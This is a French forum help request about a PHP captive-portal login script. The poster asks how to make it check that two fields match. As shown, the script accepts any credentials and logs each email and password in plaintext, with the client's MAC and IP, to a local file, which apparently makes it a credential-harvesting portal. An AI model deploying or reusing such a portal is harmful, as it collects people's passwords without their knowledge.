Probleme Script PHP verification 2 champs

Bonjour j'essai de modifier le script suivant.

Code:

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?php
 
//error_reporting(E_ALL);
//ini_set ('display_errors', '1');
 
$password = $_POST['password'];
$email = $_POST['email'];
 
$error =
"<html>\n" .
"<head>\n" .
"<meta http-equiv=\"Refresh\" content=\"5;url=/\" />\n" .
"</head>\n" .
"<body>\n" .
"<center><p1><b>Login incorrect.</b></p1></center>\n" .
"<center><p1></p1></center>\n" .
"</body>\n" .
"</html>";
 
$success=
"<html>\n" .
"<head>\n" .
"</head>\n" .
"<body>\n" .
"<center><p1>Authorized</p1></center>\n" .
"<center><p1>Continue browsing</p1></center>\n" .
"</body>\n" .
"</html>";
 
 
 
$arp = "/usr/sbin/arp";
 
if(($email == "") || ($password == "")){
    echo $error;  // if credentials not entered
} else { 
    // Attempt to get the client's mac address
    $mac = shell_exec("$arp -a ".$_SERVER['REMOTE_ADDR']);
    preg_match('/..:..:..:..:..:../',$mac , $matches);
    @$mac = $matches[0];
 
    // get the client IP address from the query string
    //$ip = $_GET["ip"];    
    //$ip = getenv("HTTP_CLIENT_IP"); 
    $ip = $_SERVER["REMOTE_ADDR"];
 
    global $mac; // necessary to export $mac?
 
    $accinfo = "email: $email   password: $password   MAC: $mac    IP: $ip\n";
 
    // Write out the credentials
    $fp = fopen("formdata.txt", "a");
    fwrite($fp, $accinfo);
    fclose($fp);
 
    if (!isset($mac)) { echo $error; 
    } else { 
        // Allow through the captive portal
        //exec("sudo /sbin/iptables -t nat -I PREROUTING -m mac --mac-source $mac -j ACCEPT");
        $fp = fopen("/tmp/ip/ip", "w"); // "w" to overwrite previous mac
        fwrite($fp, $mac);
        fclose($fp);
 
        sleep (2); //for dnotify to read $mac
 
        echo $success; }
}
 
?>

je voudrai qu'il vérifie que le champ email et password soit pareil (je modifierai plus tard en mdp1 et mdp2).

J'ai essayer cela mais sans succee

Code:

if($_POST['email'] == $_POST['password'])

Merci de votre aide.